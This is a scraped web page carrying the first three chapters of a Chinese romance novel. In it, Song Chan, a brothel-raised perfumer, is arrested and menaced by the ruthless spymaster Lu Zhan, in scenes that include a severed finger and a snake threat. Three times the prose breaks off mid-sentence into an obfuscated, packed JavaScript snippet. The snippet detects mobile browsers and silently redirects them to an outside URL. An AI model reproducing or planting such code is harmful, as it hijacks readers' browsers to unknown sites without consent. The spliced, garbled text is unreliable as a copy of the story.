《玉腰藏春》 1. 第 1 章 今年的天实在奇怪。 才刚二月，鲜少落雨的云都，便连着几日倾盆暴雨，似要将这片土地浇透。 饶是这样大的雨，花月楼里客人仍然来往不绝，这是一天中最热闹的时候，无人留意到后院传来的阵阵斥骂声。 “笨手笨脚的小畜生，端个盘子都能摔碎，不如打死送出去，至少还能换个肉钱！” 跪在雨中的小丫鬟瑟瑟发抖，面前的妇人握着鞭条，抬手就要往她身上抽。 后院东头偏阁的门忽然开了，里头传出一道清凌凌的女声。 “嬷嬷莫要动怒，当心气坏了身子。” 一名身姿窈窕的少女撑了伞，从屋里走过来，不着痕迹地挡在了小丫鬟身前。 “嬷嬷前几日提到的香膏，我已仿出来了。嬷嬷拿去试试，若是喜欢，我再多制几罐。” 妇人接过宋蝉递来的香膏，面色稍霁：“还是你懂事。” 暴雨如注，小丫鬟的浑身已然湿透了。 见妇人仍没有要走的意思，宋蝉又道：“今日前厅生意这么好，嬷嬷可别为这小丫鬟耽误时间呀。” 这倒是句实话。在这样的雨夜还要赶来花月楼的客人，大多出手阔绰，在前厅伺候一晚，能捞得不少油水。 妇人狠狠剜了小丫鬟一眼，犹不解气，向地上啐一口。 “今晚先放了你，明日再仔细你的皮！” 等送完小丫鬟再回到屋内，吕蔚早已站在门前，握着巾帕等她。 “人没事了？” 宋蝉接过吕蔚递来的巾帕，擦拭着发尾淋上的雨水，叹了声气。 “看着她，就像看见从前的自己，也是这样挨着嬷嬷打骂熬过来的。” 因为自己受过罚，便见不得别人再受同样的苦。 借着油灯昏黄的光影，宋蝉伸指在桌上展开的簿子上点了点，轻声提醒：“还有这个月初九，给王太守家送了两盏雪玉芙香，得了一吊钱。” 吕蔚在宋蝉身边执笔而坐，将她的话一字不差地记在簿子上。 他穿着一身青衫，明明是最普通的料子，却被他穿的身似翠竹，格外清隽疏朗。 二人一个说，一个记，如此几个来回后，今日前的账面终于清算毕。 吕蔚放下笔，抬眼便对上宋蝉欣喜的目光。 “这样算来，此番京考上下打点的钱就够了！” 这些年，为了供吕蔚读书考试，不免需要购买物资、打点关系，里里外外欠下不少银钱。 好在凭着她制香的手艺一笔笔地攒，如今也是挣回来了。 沉积在心底许久的石头，在这一刻终于落下。 宋蝉心情大好，抚过吕蔚身上洗到发旧的青衫，颇有些心疼。 “赶在赴考前，还要给你重新做一身衣裳，不能叫旁人看轻了。” 绰约烛影下，宋蝉细细数着以后，笑意璀璨。 她望着吕蔚，眸底似沉进了星辰流光，灿然生辉，吕蔚连呼吸都静滞了片刻。 直到宋蝉唤他，吕蔚方回过神，清了清嗓子，语气诚挚。 “阿蝉，我有件事想同你商量。” 宋蝉眉目间溢满笑意，声线都上扬着愉悦的打趣：“快说快说，趁今夜高兴，什么都依你。” 吕蔚从怀中拿出一枚玉簪，成色虽不算上乘，但对他们来说，也称得上价值不菲了。 吕蔚静望着宋蝉的双眼，将簪子极珍重地交到她手中：“这是我母亲留给我的簪子，今日，我想将它送给你。” “这次会试，我虽没有十分把握，但也愿意尽力一搏。若此番能考取功名，阿蝉……你可愿嫁我为妻？” 听到最后，宋蝉愣了神，唇角的笑容瞬间凝住。 待反应过来后，瞬间面泛飞红，耳尖发烫，赶忙把身子转过去。 “谁要嫁你了！” 吕蔚站起身，绕到宋蝉面前，耳尖同样红烫。 “你我相识已久，你当知我的心意，” 他屈膝下膝，握住她的手，又问：“阿蝉，你愿意吗？” 宋蝉垂眸，望着手中光泽熠熠的玉簪，心中百感交集。 她自出生便没了双亲，在这花月楼里孤苦多年，只这两年靠着调香的手艺，日子才稍好过些。即便如此，依旧是如履薄冰，时时刻刻须得看人眼色度日。 而今，这苦日子终于要熬到头了，她也有了可以依靠余生的人。 思及此处，不由得眼眶一酸，险些落泪。 宋蝉正想开口回他，忽一阵疾风猛然扑入，拍得窗子吱棱作响。 门外突然响起一道女人惊恐的尖叫，紧接着人群嘈杂声伴着酒盏碎落声群起，外头动静乱作一团。 走廊上悬着的灯笼飘摇欲坠，向屋内折下几道诡怖的光影，一阵沉重脚步声由远及近，似乎在向偏阁逼近—— “阿蝉，你在这别动，我出去看看。”吕蔚察觉情况不对，边披上外衣，边向门口走。 刚欲推门，一道外力便破开木门，正中他的腹部，登时仰面重摔在地，挣扎难以起身。 “蔚郎！”宋蝉赶忙起身查看吕蔚伤势。 吕蔚捂着肚子，面色苍白，冷汗顺着额角滑落，浑身止不住地发抖。 还未等两人反应过来，一队身着官服的壮汉便径直迈进屋内。 为首者环屋扫视一圈，冰冷的目光最终落在宋蝉身上，沉声下令。 “速将女犯拿下！” 话音刚落，瞬间便有两双手左右扣住宋蝉肩臂，直白粗暴地将她提了起来。 慌乱之中吕蔚已顾不上疼痛，只下意识向前扑去，妄图留住宋蝉，却只有一角衣裙从他手中滑出。 吕蔚匍匐在地，颤声问道：“大人明鉴，我二人俱是良民，从未乱纪犯事，这其中可是有什么误会？” 为首官兵只淡淡瞥了吕蔚一眼，示意手下展开犯人画像。 画像上的女子容貌清丽，身姿娉婷，连眼角泪痣的位置都与宋蝉相同。 “误会？天子当朝，何曾有过冤案！” 不再等他们争辩求情，官兵已拎起宋蝉，像拖着一具布袋般拖着她离开。 只留下吕蔚被官兵压制在地，动弹不得，声泪俱下地呼喊着宋蝉的名字。 迈出花月楼时，宋蝉连鞋子都被踩掉了一只，只得狼狈地着袜前行。 往日热闹的长街，此刻竟不见一个行人，只有两道身着黑衣的兵队将长街紧紧围得水泄不通。 宋蝉纵有满腔冤情要诉，待看见这阵仗之后，也不禁感到心里发怵，不敢开口了。 旋即被罩上黑布头套，押送上了囚车。 忽而头顶轰隆一声巨响—— 一道闪电自天际斩下，硬生生劈开了乌黑的天幕，炸亮整个长街。 而后狂风怒作，暴雨倾盆，以吞江倾世之态席卷着云都的夜。 宋蝉的衣衫瞬间便湿透了。 囚车行驶速度极快，像是要与追赢这场暴雨，不要命似地向前飞驰，宋蝉浑身骨头要被颠得散架。 也不知过了多久，马车才在城郊一处隐秘的私狱前停下。 宋蝉被两名粗壮的兵卒押送进去，甬道狭长阴暗，深得望不见尽头。 两侧石壁上点着几盏微弱的油灯，在墙面上投下扭曲的光影，为这阴暗的空间平添几分诡谲与不安。 她的目光掠过两侧的牢房，里面关满不同年龄的男犯。 他们蜷缩在角落中，双眼空洞无神，一声声痛苦的哀嚎萦绕在耳边，似潮水涌来，压得人喘不过气。 身侧兵卒神情冷淡，不断催促迫着她前行。 一直走到甬道最尽头，几人才在一个更为隐匿的房间前停下来。 为首的狱卒开了门，连推带攘地把人抛进去。 直到门外脚步声渐远，宋蝉才从枯草堆上挣扎起身，纤白指腕沁已透出道道红淤，刺眼地恍如雪地上的梅色。 屋里已经关着三四名女犯。 与外头那些男犯不同，她们穿着绣工精致的华衣，脸上也不见伤痕。只是鬓发稍有凌乱，红肿的眼底透出几分疲态。 几人以居高临下的姿态，并排围站在宋蝉面前，如同立起一道高大的山屏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769297|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “她就是那个私生女？”其中最年轻的小娘子率先开口。 十五六岁的姑娘总是习惯暗自比较，小娘子似野狼检阅猎物般打量着宋蝉。 原是乍一看并不打眼的姿貌，仔细端详竟是别有洞天—— 虽未着粉黛，衣衫朴素，却生得天然动人，尤其是那双眼睛，澄澈莹洁，过目不忘。 被雨水浸湿的衣衫下，体态纤致，细腰真可谓不盈一握，令人心神一荡。 似乎觉得落了下风，小娘子不屑地努了嘴。 “听说她是在花月楼里养大的，也不知身上干不干净，可别有脏病染了我们。” 宋蝉不爱与人争辩，但这话实在刺耳，忍不住出声反驳。 “看诸位穿着应当都是有身份的人，说话也该体面些才是。” 小娘子怒道：“你算什么东西，也敢和我顶嘴！” 说罢便要上前撕扯，却被身侧那名气质雍容的妇人拦下。 “莫要多生事端。” 她意味深长地望向宋蝉：“这么大的一桩案子，若她身份属实，自然也逃不掉的。” 宋蝉想追问下去，奈何已力不从心。 于是索性靠在牢房门边坐下，任那小娘子怎么动静，她都不再过问。 她实在太累了。 夜渐深了，牢房里一片沉寂。除了窗外不绝的雷雨声，便只剩下众人熟睡的呼吸声。 宋蝉却怎么也睡不着。 变故面前，她其实并不恐惧。什么私生女，什么大案？这些都与她何干？ 她只是花月楼里凭手艺生存的杂使丫头，想是那些兵卒认错了人，待辨清之后，总要放她出去的。 可明日一早，北街胭脂坊的李掌柜要来取香样了。 若是生意谈妥了，她就能成胭脂坊的供香商，长线的买卖比散客生意赚钱多了。 够她赎出身契，恢复良籍，也足够她和吕蔚下半辈子的好生活。 可若明早交不了香样，一切都将沦为泡影，也不知吕蔚能否找到香样按时送去？ 更不知他现在伤势如何？在外面又该有多着急？ 思及吕蔚，万般愁绪涌上心头。 分明这次离平稳幸福的日子只差一步，却还是未能如愿，似乎她总是不被命运眷顾的那个。 宋蝉叹了口气，颓然倚在门边，摩挲着手中玉簪，心底无限酸楚。 * 翌日清早，一众兵卒破开大门，将屋内一行女眷带走。 宋蝉不知要被带往何处，只安分跟着众人行走在幽暗甬道中。 随着一道沉重的铁门缓缓开启，一股混杂着霉湿、血腥与绝望的气息扑面而来。 昨日还气焰高傲的小娘子，此刻竟忍不住狼狈嚎哭起来。 跪倒在地上，无论如何也不肯再向前行，嘴里连声念着“我不想死”，惹得其余几个妇人也跟着啜泣起来。 虽不知这些人犯了什么大案，但此刻身处其中，宋蝉也不免感到害怕。 此情此景下，她也只得安慰自己——终归她只是无辜被牵连的，判官大人定会还她的清白。 堂内已经跪满了男女老少几十人，皆垂眉丧气，神情戚戚。 宋蝉与那几名女眷被安置在最前列，抬眼便能看见前庭。 庭上未悬旗帜，仅有一台黄梨木桌并官帽椅空置摆立，却不见主吏身影。 啜泣声中，跪在宋蝉斜前方的中年男子，忽而愤然起身。 “此案理应交由三司处置！缘何将我全家困在这私狱问审？岂非要屈打成招！” “家主说的对！” 众人躁动起来，潜伏许久的怨气磅礴待发，兵卒不自觉握紧了手中的剑柄，随时准备出鞘。 祸起之际，一道清冽疏离的男声自门外骤然响起。 “沈侍郎，当心祸从口出。” 声线清朗克制，却带着不容置疑的压迫感，透着骇人的寒气。 所有人瞬间噤了声，满堂重新陷入死一般的缄静。 乌压压的人影中，唯有宋蝉抬起头，循声望过去。 2. 第 2 章 两名着黑衣、腰间佩刀的侍从站在门边，为来人挑开锦帘。 随后，一名身量颀长、挺阔如松的男子缓步走近。 与话本子上描述那些刑吏并不相同，他既不年迈，也没有严肃到令人生畏的长相。 看上去不过弱冠之年，生得挺鼻薄唇，颜若冠玉，气度非凡。 他穿的单薄，身上亦未着雨具，一袭暗纹墨袍上覆着濛濛雨汽，如山风拂竹，清极尽澹。 经过宋蝉身边时，一道沉冷的目光忽然落了下来，骇得宋蝉连忙低下头。 他径直走到主案坐下，顺手从案上拿起一本簿子，似笑非笑。 “沈侍郎似乎对朝廷的安排颇有不满？” 户部侍郎沈知培也曾是个有头脸的人物，一朝犯了案，他知晓凶多吉少。本想凭着往日打点好的关系，希望三司中人能够帮衬转圜一二，至少免了亲眷刑罚。 却不想事与愿违，前天忽有一队黑衣兵马闯入府邸，将全家抓进进了这个鬼地方！ 此刻沈知培看着堂上面生的年轻人，指颤不已：“你是谁？” 堂上男子并未回复，只故作沉思：“沈侍郎贪银一千五百两，开朝以来从未有此先例，且容我想想——” 他忽而拊掌轻笑：“此案若顺利了结，于我千鹰司又是大功一件。沈侍郎，我当好好谢你。” 千鹰司？ 沈知培听得这三字，皱紧了眉头，一时颓在原地不语。 而其子沈小郎君到底年轻气盛，忍不住指着堂上人斥道：“既要审人，总该报上你的官职名号来！怎么不清不楚就……” 话还没说完，一名亲卫便大步上前，骤然拔刀，斩断了沈小郎君的手指。 “痛煞！” 沈小郎君高声痛呼，那根血淋漓的手指滚落在地，被亲卫踩在靴底。 堂上人却漫不经心地开口：“沈侍郎，你可还识得此物？” 话音落，千鹰卫端上一个由红布包裹的锦盒，摆放在沈知培面前。 层层打开，锦盒内居然正正方方地放着一块砖瓦。 旁人或许不知，但沈知培只看了一眼便如遭雷击，通身气势泄尽。 为官多年来，朝廷不是没有疑过他，只是从来没人能够找到赃银。没有证据，也就无法定他的罪。 他自以为机警，看似危险的地方反而安全，于是便将赃银融进砖瓦，砌入沈府的外墙中。 原以为这次也能像之前那般瞒天过海，却不想还是东窗事发。 沈知培望向堂上人，突然想到前些日子朝堂间那些骇人听闻的传言，不免声音发涩：“你是——陆湛？” “是。” 心中的猜测得到肯定，沈知培绝望地闭上了眼：“出不去了……” 千鹰司指挥使陆湛，朝廷众人不愿也不敢提及的名字。 上京世族序首陆氏三子，本就是世代簪缨的名门之后，多年游历在外，只闻其声不见其人。 而今新帝御极，他成了新帝最信赖的近臣，掌管着千鹰司，独立三司之外，凌驾庙堂之上。 早就听闻其人行事毒辣，手段狠戾，却没想到陆湛上任后的第一桩大案，竟是指向了他沈知培。 沈知培神情愈发苦涩，倏然发出如癫如狂的大笑，而后跌坐在地。 见家主都如此情状，众人心中最后的期冀沦为了泡影。一时间哭喊声四起，还有几名女眷已吓得晕厥过去。 这样的场景，陆湛似乎司空见惯，俊朗的面上未起波澜，只淡淡抬了手。 随后便有士兵鱼贯而入，捧着认罪状分别派发给每人，盯着他们签字画押。 宋蝉的手中也被塞了一卷。 她望着手中的认罪状，只觉得头脑发懵。 哪怕是户部侍郎这样的达官，一朝落败，也不过形同蝼蚁，命数全然由他人掌控。 像她这样无依无靠的寻常百姓，莫名被牵扯进这桩大案之中，若真按下这认罪状，哪还有什么挣扎的可能呢？ 眼看陆湛就要起身离开，宋蝉不知哪里来的勇气，忽然举起了那卷认罪状。 “陆大人！民女有冤要诉！” 一时间满堂哭声静止，几十道目光齐刷刷聚向了宋蝉。 陆湛身形停滞了一瞬。 但也仅仅只是一瞬，很快，他便像什么也没听见般，重新迈步向前。 经过宋蝉身边时，衣角被风掀起，翻卷如云涌，轻柔抚过宋蝉的手背。 宋蝉只要抬手攥住那抹衣角，便有可能留下他。 但不知为何，她下意识地缩回手，只能眼睁睁看他一步步走远。 门外雨色空濛，已有侍从撑伞来迎。 陆湛却在门前停下脚步，一袭墨衣静身而立，朦胧雨雾缭绕其身，犹如山中仙客。 像是想起什么有趣的事，他倏然轻笑了一声。 * 穿行在漆黑的长廊里，周遭沉静如死水，宋蝉砰然的心跳声在黑暗中尤为清晰。 她跟在陆湛身后，中间只隔着两个兵士。 陆湛身量极高，宋蝉只需一抬眼，便能看见那道宽阔的肩背。 她又不自觉地想起吕蔚。 吕蔚的身形比他清瘦些，平日里斯斯文文，举止儒雅和煦。 不像陆湛的阴晴不定，像是深不可测的寒潭，仅仅是站在他周围，都让人感到害怕。 人与人到底是不同的。 一路心神恍惚，不知走了多久，陆湛停在一扇极高的铜铸雕花门前。 有展翅雄鹰刻雕盘踞其上，鹰眸以红血石镶嵌，锐艳似血。 兵士向两旁侧身，为陆湛空出道路。 门里暗藏玄机，只看见陆湛抬手在门旁章印上一按，雕花门缓缓而开。 甫入屋门，一阵淡淡的冷香袭来，与外头狱舍里腥臭气味划分出无声的边界。 屋里陈设极其简单，但桩桩件件俱是低调不显的奢华。 陆湛没有屏退侍从，也并不急于盘问，只是缓步走到盥台旁，慢条斯理地洗净双手。 沉默的气压像一把无形的剑，悬在宋蝉头上，不知何时会突然落下。 她局促地站在角落的银屏旁，屏息等待，却也不敢催促。 不到一刻钟，侍者已将盥盆里的水换了三次。 陆湛神情闲适，动作从容，似乎全然忘了屋内还有一人在等待。 屋内温暖而馨香，银碳堆积出的适宜温度，像一双温暖柔软的手，让宋蝉连日紧绷的精神，逐渐松懈下来。 她这才有余力关注到自己的状况。 接连两日阴冷潮湿的环境，引得膝盖旧伤又复犯了。 寒湿凝积在膝骨里，像千百只细针不断锥刺，痛到最后只觉得双腿麻木，就快要站不住了。 身形不由得一晃，顺手扶住身侧窗台以作支撑。却下意识看向陆湛，生怕不适宜的举动惹得他不快。 好在陆湛正专注拭去手上水渍，并没有察觉。 宋蝉松了口气。 很适时的，陆湛的声音轻飘飘地响起。 “适才你当庭高呼有冤，如今本官在此，你尽可诉说你的冤屈了。” 宋蝉跪伏在地，向陆湛行了一礼，恭敬回道：“陆大人，民女宋氏一向安分守己，从未犯过事。哪知昨天夜里，屋里忽然闯进来几个兵爷……” 话还没说完，就被陆湛打断。 “宋蝉。” 斩钉截铁的语气，是肯定，而非质问。 宋蝉怔然抬眼，原本准备好的陈辞都被拦了回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769298|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他怎么会知道自己的名字？ 陆湛淡扫一眼地上伏身的女子，接着说道：“外人都以为，你自幼失恃失怙，从记事起就在花月楼里做杂活谋生，是个可怜的孤女。” “可据本官所知，这一切都是假的。” 宋蝉怔然抬眼，听着陆湛将自己的“身世”娓娓道来。 陆湛说，当年的沈知培不过白衣书生，进乡赶考途径上京，与花月楼里的名伶有过一段露水之情。 名伶真心相付，奈何沈知培到底是个自古薄情的读书人，待他一举成名，便忘了之前的承诺，转而另攀高枝，与名门嫡女结了亲。 而宋蝉，便是那个沈知培被遗忘在花月楼里的私生女—— 宋蝉想要辩解些什么，可就像有双大手紧紧掐住她的喉咙，她什么声音也发不出来。 陆湛在说什么？她越听越觉得陌生，仿佛陆湛只是在说戏本子里的故事，与她并无相干。 这些年她不是没有怀疑过自己的身份，也努力寻找过父母的踪迹，可都无功而返。 谁想到今日忽然有个陌生人告诉她，她的父亲尚在人世的，只是不愿认她。 话若只说到这里也就罢了，哪知陆湛接下来的话，更如一记重拳砸在宋蝉心口。 “多年后，沈知培身在庙堂，正愁升官无望，忽然到想起了你。” “花月楼不乏官吏权贵往来，是最容易获取信息的地方。沈知培将你安插在此地，让你做他的耳目，为他所用。” “并非如此！” 简直是无稽之谈——宋蝉忍无可忍，下意识出声打断。 陆湛沉冷的眼神扫过来，激得宋蝉陡然清醒，压低了声音。 “就算真如大人所说，民女也是今日才从大人这里得知这些，绝无可能在花月楼里为沈侍郎办事！” 陆湛冷笑了一声。 “我也不瞒你。于本官而言，你身份是真是假，并不重要。” 他缓步走到宋蝉面前。 “沈家的案子，已成定局，你也是。” 欲成事者，怎会在意一粒草芥的死活？他在意的不过是这桩案子能否为他在功绩录添上一笔。 陆湛自高而下地看着宋蝉的反应，如同观察草笼里困斗的一只蟀虫。 原本跪伏在地的宋蝉忽然抬起头，明澈的眼底瞬间盈满了泪。 陆湛这才真正注意到她的容貌。 最多称得上清丽。 就像山谷间的一支幽兰，虽有几分动人，但只要有心寻找，总能在山野里找到几支相似的。 不过这样的样貌在花月楼里已算上乘，若非是有靠山，恐怕早就沦为权贵的玩宠，怎能安逸地当一个杂使丫头？ 陆湛更加肯定，绝不是冤枉了她。 接下来，应该是示弱乞饶，求他放过她—— 陆湛很爱欣赏这样的情景。 即便再好的皮囊，在生死面前，都要变得卑怜不堪。 他好整以暇地等待着她的反应。 可宋蝉仍然只是那样看着他。 “这不公平。” “公平？你拿什么与本官谈公平？” 他扫视着她的面容。 被泪水打湿的眼睫忍不住地颤动，鼻息间透出勉力强压的、微不可察的泣音。 水汽已盈满眼眶，可她宁愿忍到眼底泣红，都不愿让那滴泪落下。 陆湛心中一凛，忽而觉得兴致缺缺。 “逐川，把她带走。” 他不喜欢看见这样宁折不屈的姿态，也绝不会允许这样的眼神出现在他的面前。 陆湛转身就欲离开。 临近门前时，身后传来宋蝉的声音。 “大人！我知道三司的秘密！” 3. 第 3 章 与此同时，门外便有一名身着朱雀纹淡紫袍的女卫亟亟上前，称有要事相报。 事涉朝堂私隐，逐川适时地关上门，把宋蝉独自留在屋内。 屋外，朱雀女卫向陆湛汇报，千鹰司在京中的一名女探子行任务时逃跑，如今人已追回，请示陆湛该如何处理。 千鹰司培养探子流程严密，一名合格的探子，从筛选培养到真正能进任务，往往需要三年甚至更久的时间。 陆湛行事总习惯留有后手，处死一名探子，自然还有其他人补上，这本不算什么大事。 可偏偏这名女探子的身份有些特殊。 当年梅氏受人陷害，举家男丁发配至北境戍守边关，女眷则充入青楼教坊。 是陆湛救下了这名梅将军的独女。 若有朝一日梅氏得以平反，陆湛手中便多了一份可与梅氏交易的底牌。 哪怕梅氏就此陨落，于千鹰司也是一桩稳赚不赔的买卖。 女卫又道：“听闻近日梅氏少郎君因表现英勇而被免了刑役，如今朝中还有很多梅氏早年的故交……” 陆湛眸中划过如玄夜的清寒，冷得可怕：“既起异心，便不能再留。” 逐川与女卫皆一愣，可陆湛决定好的事，谁也不敢多问。 屋门开了又关，一阵窸窣的脚步声后，环室又陷入压抑的沉静。 宋蝉跪在原地，低下头便能听见自己急促的心跳。 她明白，陆湛此刻就站在门前，即便悄然无息。 宋蝉不知晓那人与陆湛说了什么，只能感受到他回来后周身沉冷的气息，裹挟着令人胆寒的压迫感，几乎要将她吞没。 不知过了多久，陆湛才开口：“你刚才说，知道三司的秘密？” 宋蝉轻轻点头。 宋蝉深谙人性的卑劣，如陆湛这样冷血之人，绝不会因为她的几句话就心生怜惜。 想要陆湛救她，除非她值得他出手相救。 “民女愿意将知道的所有事都告诉大人，只要大人愿意救我。” 陆湛深吸一口气，似在极力压抑某种隐秘的愤怒，声音却依旧平若静湖。 “你在要挟我？” 宋蝉连忙摇头：“民女只是想活下去！” 陆湛冷哼一声，重重拂袖，阔步走回案前坐下。 四目相对，宋蝉看着他从屉中取出一根线香，捻在修长的指间轻缓摩挲。 “你在花月楼为沈知培谋事，游走权贵之间，惯善于钻营取巧。即便你手中确有三司的秘密，消息真假与否，恐也难以得知。” 线香被火引点燃，一阵奇异清冷的香气氤氲腾空。 这味道……宋蝉觉得有些熟悉，但一时想不起来在何处闻见过，只是心中隐隐不安。 屋子深处无人注意的轻纱帘幔，忽被一阵无形的力量掀起一角。 随着香气渐浓，一抹幽黑如夜的影子悄无声息地滑出，带起令人心悸的阴冷。 直到那物体行动的声音渐近，宋蝉终于看清—— 那竟是一条足有两米多长的黑色毒蛇，身躯细长而灵活，绿色的瞳孔在微弱的光线下闪烁着冷冽的幽光，宛如地狱幽冥。 与它对视的一瞬，宋蝉惊叫着站了起来，吓得连退几步。 而陆湛稳坐不动，仅乜斜了她一眼。 “跪好。” 他的声音很轻，却暗含上位者对于卑下不容置疑的命令。 宋蝉紧紧攥住衣角，指尖深嵌掌内。强忍着心中恐惧，双腿打颤地跪了下去。 毒物离她仅一步之遥，两排锋利如刀的毒牙，闪烁着致命的寒芒。 陆湛抬手，在案沿轻叩两下。 黑蛇仿佛得到指令，细长身躯迅速贴地前行，顺着宋蝉的裙角攀爬而上，轻缠她的后颈。 一阵寒意覆上肌肤，直透骨髓，她连呼吸都不敢用力，生怕惊扰了这毒物。 陆湛好整以暇地打量着宋蝉，看着她通身颤抖如风中摇荡的芦苇，几将崩溃的神情。 他的眼底透露出阴晦恣意的笑意。 那因为被窥探、被揣测、被冒犯而带来的不悦，皆随着她绝望与恐惧，一扫而光。 “这灵物能识人言、辨人心。若你所言为真，我或许可以考虑救你。” 陆湛扬起唇角，声音都放得温柔了些。 “可若你敢欺骗本官。蛇毒会让你全身溃烂、痛苦不堪，直到七日之后，才能解脱。” 黑蛇盘绕在宋蝉颈边，适时地嘶嘶吐出信子，如死神低语，在她耳旁警示。 宋蝉原本以为，为了活下去，她可以抑制住内心的恐惧，骗过这条蛇，也骗过他。 没想到还是高估了自己。 她不想死，也不能死！ 不光为了吕蔚，更是为了隐于这暗室之间，已近乎咫尺的自由。 颈上冰冷的毒物越缠越紧，宋蝉的视线逐渐眩晕涣散。 趁最后的意识尚存，勉力伏地爬向前，如溺水之人抓住浮木般，紧紧抓住陆湛的衣角。 “大人，求您……求您……” 陆湛依旧静静地俯视着她，并未动作。 直到宋蝉的呼吸渐渐弱下去，在最后刹那，他才抬手熄灭了线香。 香气淡去，黑蛇却没有听话地回到陆湛身边，反而像是陡然清醒般，迅速爬走了。 宋蝉伏在地上，好一会没有动静。 直到陆湛俯下身，轻拍了拍她的面颊，宋蝉才睁开眼，如枯泽陷鱼般止不住地咳喘，单薄的身躯颤如蝶翼，面色涨红如霞。 那双曾夺走无数人性命的掌，如今扣住宋蝉的后颈。 因紧张而沁出的细汗，浸得她洁白的颈似羊脂玉一般润，滑得甚至有些握不住。 似乎只需多使一些力，就会被轻巧折断。 宋蝉试图躲开，却被那双大掌扣得更紧。 他常年习武，温热的掌心覆着粗砺的茧，若有似无地摩挲过宋蝉的颈，引起一阵细微的颤动。 “你发汗了。” 陆湛掌下力道更甚，宋蝉只能被迫抬起头，望向他深暗俊美的眼。 当看见那双湿漉的瞳眸，陆湛终于缓缓松了手，直起腰，擦拭指尖湿意。 "装不下去了？” 陆湛随手扔开的手巾，恰巧擦落过宋蝉的手背，仿佛触到了一块滚烫的碳，她下意识地迅速将手抽离。 这细微的动作落在陆湛的眼底，让他觉得实在可笑。 说她愚钝，却敢在危急关头为自己争取机会。 可若说她聪慧，她本可以安心赴死，却要使些低级的心机手段，让自己陷入险境。 空有皮囊，却无才智。 宋蝉伏在地上，缓了好一会，才有余力开口。 “大人，我骗了你。我确实不知道什么三司的秘密，只是因为堂上听到他们提及三司，才妄图揣测大人的心思……” “你倒诚实。” 陆湛未怒反笑：“知道我不会相信，还敢拿谎言欺瞒本官，是嫌直接赴死太过痛快吗？” 宋蝉没有立刻回话，沉默了。 感受到一滴眼泪将要落下，她倔强地偏过脸，不愿让他看见。 “大人，还有半个月，民女便能赎回身契，不用继续为奴。为了等这一日，民女等了十年。” 哪怕到今日，她还时常午夜梦醒，从梦中遭受的打骂中哭着醒来。 十年啊……这十年里，她挨过的打、遭过的骂，真是数也数不清了。 若不是抱着早日攒钱换回身契的念头，她恐怕早就死在了鸨母的鞭棍下。 可这些，她是不会同陆湛说的。 像陆湛这样出身高门名族的士郎，生来便是众星捧月，与她有云泥之别。 她怎么会蠢到指望这样的人能够切身理解她的难处呢？ 宋蝉语气诚挚，不像是说谎，陆湛听得真切，却仍然不为所动地端坐原处，面上没有一丝动容。 在生死面前，每个人都会想要挣扎。或是卑微祈求，或是刻意诓骗，更有甚者癫狂如魔。 宋蝉的反应也不过如此。 宋蝉深深吸了一口气，又道：“大人，民女很怕死。民女所做一切，不过是想活下去。” “民女自知愚笨，但三司之人多出入于花月楼，大人留民女一条命，民女愿意为了大人打探消息，以弥补罪过！” 她重重地磕了三个响头，似乎要彻底剖陈自己的衷心。 陆湛静静地盯着她已然泛青的雪额：“笑话。你大可以问问，世上有几人能活着走出千鹰司。” 他站在宋蝉面前，再次托起她的脸。 “你是想凭在花月楼里的那些手段，还是凭借你这张脸？” 世人对于花月楼总有着先入为主的印象，认为在其中求生的都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769299|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖.身求荣的娼。 陆湛显然也和这些人一样，将她自然地归到这一列中。 “来人。”陆湛显然已有些不耐了。 情急之下，宋蝉已顾不上什么礼数，抬手就紧攥住陆湛的袖：“大人不觉得那条蛇与您不亲近吗？若民女没猜错，您用来引蛇的香料来自鄯善。” 门口守卫的半只脚已迈进门内，陆湛挥了挥手，又让他退了出去。 这条灵蛇的确是他月余前从鄯善商人手中购得，如今还不能做到完全听话。 他本以为是与灵蛇磨合时间不够，宋蝉的话却让他起了兴趣。 “说下去。” 宋蝉松了一口气。 “大人可试着在香料里加一味穿心莲，或许能有效果。” 陆湛抬眼，深深扫向宋蝉。 没想到这民女除了皮囊之外，也并非一无是处。 * 与陆湛面谈之后，宋蝉便关在另一间独立的牢房。 牢房的布置依旧简陋冷清，不过终于不用听沈家贵女们的冷嘲热讽，倒很是清净。 但只过了几天，她便发觉这种望不见头的孤独才是真的难熬。 那次谈话到最后，陆湛什么也没说。 既没有允诺能放她出去，也没有说要将她如何处置。 只是将她单独安置在这个房间，每日固定有人送水送饭，其余没有任何音讯，仿佛那场对话根本不曾发生过。 宋蝉也曾试图与那些送饭的刑吏打探消息，可陆湛手下的人都和陆湛一样冷血无情，从不理会她的搭话，甚至还威胁宋蝉再多嘴就割了她的舌头。 